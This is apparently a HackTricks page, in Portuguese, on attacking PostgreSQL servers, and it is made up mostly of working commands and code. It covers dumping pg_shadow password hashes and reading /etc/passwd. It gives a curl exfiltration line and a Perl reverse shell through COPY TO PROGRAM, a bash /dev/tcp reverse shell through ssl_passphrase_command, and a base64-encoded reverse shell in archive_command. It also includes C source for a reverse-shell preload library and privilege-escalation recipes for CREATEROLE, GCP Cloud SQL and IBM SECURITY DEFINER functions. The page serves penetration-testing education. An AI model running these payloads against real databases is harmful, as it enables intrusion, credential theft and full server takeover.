hacktricks/network-services-pentesting/pentesting-postgresql.md

791 lines
40 KiB
Markdown
Raw Normal View History

# 5432,5433 - Pentesting Postgresql
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da comunidade **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## **Informações Básicas**
**PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **open source**. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla gama de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
**Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433) que não está em uso.
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## Conectar e Enumeração Básica
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```
```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
```
{% hint style="warning" %}
Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados PostgreSQL da AWS**.
{% endhint %}
Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, consulte:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## Enumeração Automática
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Força bruta**](../generic-methodologies-and-resources/brute-force.md#postgresql)
### **Escaneamento de portas**
De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* O host está fora do ar
`DETAIL: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?`
* A porta está fechada
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* A porta está aberta
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
ou
```
DETAIL: FATAL: password authentication failed for user "name"
```
* A porta está aberta ou filtrada
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, pode recuperar as informações necessárias. Se extrair nomes de usuários e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de wordlist discutido na seção anterior, pois isso pode potencialmente gerar resultados positivos.
## Enumeração de Privilégios
### Funções
| Tipos de Função | |
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | A função tem privilégios de superusuário |
| rolinherit | A função herda automaticamente os privilégios das funções das quais é membro |
| rolcreaterole | A função pode criar mais funções |
| rolcreatedb | A função pode criar bancos de dados |
| rolcanlogin | A função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização da sessão inicial |
| rolreplication | A função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e remover slots de replicação. |
| rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
| rolpassword | Não é a senha (sempre é lido como `********`) |
| rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
| rolbypassrls | A função ignora todas as políticas de segurança em nível de linha, veja [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. |
| rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
| oid | ID da função |
#### Grupos Interessantes
* Se você é membro de **`pg_execute_server_program`** você pode **executar** programas
* Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos
* Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos
{% hint style="info" %}
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são a **mesma** coisa. Depende apenas de **como você usa** e se você **permite que faça login**.
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tabelas
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Funções
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
## Ações do sistema de arquivos
### Ler diretórios e arquivos
A partir deste [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (verifique `convert_and_check_filename` em `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Lembre-se de que se você não for superusuário, mas tiver as permissões **CREATEROLE**, você pode **se tornar membro desse grupo:**
```sql
GRANT pg_read_server_files TO username;
```
[**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Existem **outras funções do postgres** que podem ser usadas para **ler arquivos ou listar um diretório**. Apenas **superusuários** e **usuários com permissões explícitas** podem usá-las:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Você pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Escrita Simples de Arquivo
Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar copy para escrever arquivos.
{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
Lembre-se de que se você não for superusuário, mas tiver as permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
```sql
GRANT pg_write_server_files TO username;
```
[**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo que você esteja usando um payload em base64, **você precisa enviar uma linha única**.\
Uma limitação muito importante dessa técnica é que **`copy` não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.**
### **Upload de arquivos binários**
No entanto, existem **outras técnicas para fazer upload de grandes arquivos binários:**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[upload-de-arquivos-binarios-grandes-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
### Atualizando dados da tabela PostgreSQL via gravação de arquivo local
Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, pode atualizar qualquer tabela no servidor **substituindo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Passos necessários:
1. Obtenha o diretório de dados do PostgreSQL
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Nota:** Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, pode consultar a versão principal do PostgreSQL através da consulta `SELECT version()` e tentar forçar o caminho. Caminhos comuns do diretório de dados em instalações Unix do PostgreSQL são `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Um nome de cluster comum é `main`.
2. Obtenha um caminho relativo para o filenode, associado à tabela alvo
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Essa consulta deve retornar algo como `base/3/1337`. O caminho completo no disco será `$DATA_DIRECTORY/base/3/1337`, ou seja, `/var/lib/postgresql/13/main/base/3/1337`.
3. Baixe o filenode através das funções `lo_*`
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Obtenha o tipo de dado, associado à tabela alvo
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Use o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); defina todas as flags booleanas `rol*` para 1 para permissões totais.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![Demonstração do Editor de Filenode do PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
6. Refaça o upload do filenode editado através das funções `lo_*` e substitua o arquivo original no disco
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(Opcional)_ Limpe o cache da tabela em memória executando uma consulta SQL cara
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. Agora você deve ver os valores da tabela atualizados no PostgreSQL.
Você também pode se tornar um superadmin editando a tabela `pg_authid`. **Veja** [**a seção seguinte**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE
### **RCE para programa**
Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar copy para RCE (exemplo com exfiltração:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Exemplo para exec:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Lembre-se de que se você não for superusuário, mas tiver as permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
```sql
GRANT pg_execute_server_program TO username;
```
[**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Ou use o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\
Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Embora tenha sido relatada como CVE-2019-9193, o Postgres declarou que isso era uma [característica e não será corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE com Linguagens PostgreSQL
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
### RCE com extensões PostgreSQL
Uma vez que você tenha **aprendido** no post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão postgresql e carregando-a**.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### RCE com arquivo de configuração do PostgreSQL
{% hint style="info" %}
Os seguintes vetores de RCE são especialmente úteis em contextos SQLi restritos, pois todos os passos podem ser realizados através de instruções SELECT aninhadas.
{% endhint %}
O **arquivo de configuração** do PostgreSQL é **gravável** pelo **usuário postgres**, que é quem executa o banco de dados, então como **superusuário**, você pode escrever arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo.**
![](<../.gitbook/assets/image (322).png>)
#### **RCE com ssl\_passphrase\_command**
Mais informações [sobre esta técnica aqui](https://pulsesecurity.co.nz/articles/postgres-sqli).
O arquivo de configuração possui alguns atributos interessantes que podem levar a RCE:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados
* `ssl_passphrase_command = ''` Se o arquivo privado estiver protegido por senha (criptografado), o postgresql **executará o comando indicado neste atributo**.
* `ssl_passphrase_command_supports_reload = off` **Se** este atributo estiver **ativado**, o **comando** executado se a chave estiver protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.
Então, um atacante precisará:
1. **Extrair a chave privada** do servidor
2. **Criptografar** a chave privada baixada:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Sobrescrever**
4. **Extrair** a **configuração** atual do postgresql
5. **Sobrescrever** a **configuração** com os atributos mencionados:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Execute `pg_reload_conf()`
Ao testar isso, percebi que isso só funcionará se o **arquivo da chave privada tiver permissões 640**, for **possuído por root** e pelo **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo), e estiver localizado em _/var/lib/postgresql/12/main_.
#### **RCE com archive\_command**
**Mais** [**informações sobre esta configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Outro atributo no arquivo de configuração que é explorável é `archive_command`.
Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado através das operações WAL (write-ahead logging).
Os passos gerais são:
1. Verifique se o modo de arquivamento está habilitado: `SELECT current_setting('archive_mode')`
2. Sobrescreva `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Recarregue a configuração: `SELECT pg_reload_conf()`
4. Force a operação WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
#### **RCE com bibliotecas de pré-carregamento**
Mais informações [sobre esta técnica aqui](https://adeadfed.com/posts/postgresql-select-only-rce/).
Este vetor de ataque aproveita as seguintes variáveis de configuração:
* `session_preload_libraries` -- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.
* `dynamic_library_path` -- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas.
Podemos definir o valor de `dynamic_library_path` para um diretório, gravável pelo usuário `postgres` que executa o banco de dados, por exemplo, o diretório `/tmp/`, e fazer upload de um objeto `.so` malicioso lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa biblioteca recém-carregada, incluindo-a na variável `session_preload_libraries`.
Os passos do ataque são:
1. Baixe o `postgresql.conf` original
2. Inclua o diretório `/tmp/` no valor de `dynamic_library_path`, por exemplo, `dynamic_library_path = '/tmp:$libdir'`
3. Inclua o nome da biblioteca maliciosa no valor de `session_preload_libraries`, por exemplo, `session_preload_libraries = 'payload.so'`
4. Verifique a versão principal do PostgreSQL via a consulta `SELECT version()`
5. Compile o código da biblioteca maliciosa com o pacote de desenvolvimento correto do PostgreSQL. Código de exemplo:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
código retirado de https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
Compilando o código:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Faça upload do `postgresql.conf` malicioso, criado nos passos 2-3, e sobrescreva o original
7. Faça upload do `payload.so` do passo 5 para o diretório `/tmp`
8. Recarregue a configuração do servidor reiniciando o servidor ou invocando a consulta `SELECT pg_reload_conf()`
9. Na próxima conexão ao DB, você receberá a conexão do shell reverso.
## **Postgres Privesc**
### Privesc CREATEROLE
#### **Conceder**
De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções que têm o privilégio **`CREATEROLE`** podem **conceder ou revogar a filiação em qualquer função** que **não** seja um **superusuário**._
Portanto, se você tiver permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não são superusuário) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modificar Senha
Usuários com este papel também podem **mudar** as **senhas** de outros **não-superusuários**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc para SUPERUSER
É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer nenhuma senha**. Portanto, uma vez que você tenha reunido **permissões para executar código**, você pode abusar dessas permissões para conceder a você o papel de **`SUPERUSER`**:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
Isso geralmente é possível por causa das seguintes linhas no arquivo **`pg_hba.conf`**:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE privesc**
Em [**este artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.
Quando você tenta **tornar outro usuário o proprietário de uma tabela**, você deve receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres que não é superusuário** no GCP:
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões** do **proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela, e então executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando os privilégios do proprietário.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### Exploitação
1. Comece criando uma nova tabela.
2. Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice.
3. Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo que comandos não autorizados sejam executados.
4. ALTERE o proprietário da tabela para "cloudsqladmin", que é o papel de superusuário do GCP usado exclusivamente pelo Cloud SQL para gerenciar e manter o banco de dados.
5. Realize uma operação ANALYZE na tabela. Esta ação obriga o mecanismo PostgreSQL a mudar para o contexto do usuário do proprietário da tabela, "cloudsqladmin". Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin", permitindo assim a execução do comando de shell anteriormente não autorizado.
Em PostgreSQL, esse fluxo se parece com isto:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
Então, a tabela `shell_commands_results` conterá a saída do código executado:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Login Local
Algumas instâncias do postgresql mal configuradas podem permitir o login de qualquer usuário local, é possível logar a partir de 127.0.0.1 usando a **`dblink` function**:
```sql
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Observe que para a consulta anterior funcionar **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tiver permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
É possível verificar se essa função existe com:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Função definida pelo usuário com** SECURITY DEFINER
[**Neste relatório**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram escalar privilégios dentro de uma instância postgres fornecida pela IBM, porque **encontraram esta função com a flag SECURITY DEFINER**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong> VOLATILE SECURITY DEFINER
</strong> PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
</code></pre>
Como [**explicado na documentação**](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a SQL Injection** ou estiver realizando algumas **ações privilegiadas com parâmetros controlados pelo atacante**, ela pode ser abusada para **escalar privilégios dentro do postgres**.
Na linha 4 do código anterior, você pode ver que a função tem a flag **SECURITY DEFINER**.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
E então **execute comandos**:
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### Pass Burteforce com PL/pgSQL
**PL/pgSQL** é uma **linguagem de programação totalmente funcional** que oferece maior controle procedural em comparação com SQL. Ela permite o uso de **loops** e outras **estruturas de controle** para aprimorar a lógica do programa. Além disso, **instruções SQL** e **triggers** têm a capacidade de invocar funções que são criadas usando a **linguagem PL/pgSQL**. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados.\
**Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça brute-force nas credenciais dos usuários.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### Privesc por Sobrescrever Tabelas Internas do PostgreSQL
{% hint style="info" %}
